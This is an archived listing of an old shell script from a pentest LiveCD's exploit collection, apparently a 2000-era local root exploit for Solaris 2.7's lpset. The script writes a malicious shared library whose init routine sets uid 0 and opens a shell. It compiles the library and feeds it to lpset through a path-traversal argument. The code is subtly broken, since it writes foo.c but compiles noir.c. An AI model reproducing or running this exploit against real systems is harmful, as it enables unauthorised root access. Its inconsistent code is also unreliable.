home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / lpset.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  626b  |  32 lines

  1. #!/bin/sh
  2. #
  3. # /usr/bin/lpset vulnerability in Solaris/SPARC 2.7
  4. # script by noir@gsu.linux.org.tr
  5. # lpset seems to use strcat to append paths (-r) 
  6. # but there is a special case /usr/lib/print/lib has to be present
  7. #
  8.  
  9. cat > foo.c << EOF
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. void
  13. _init(void)
  14. {
  15.         setuid(0);
  16.         system("/bin/sh");
  17. }
  18. EOF
  19.  
  20. echo "Compiling ..."
  21.  
  22. gcc -fPIC -c noir.c -g -DSOLARIS -Wall
  23. ld -G -o noir.so noir.o -ldl
  24.  
  25. chmod 755 noir.so
  26.  
  27. rm -f noir.c
  28. rm -f noir.o
  29.  
  30. /usr/bin/lpset -n xfn -r /../../../..$PWD/noir noir
  31. #                    www.hack.co.za            [2000]#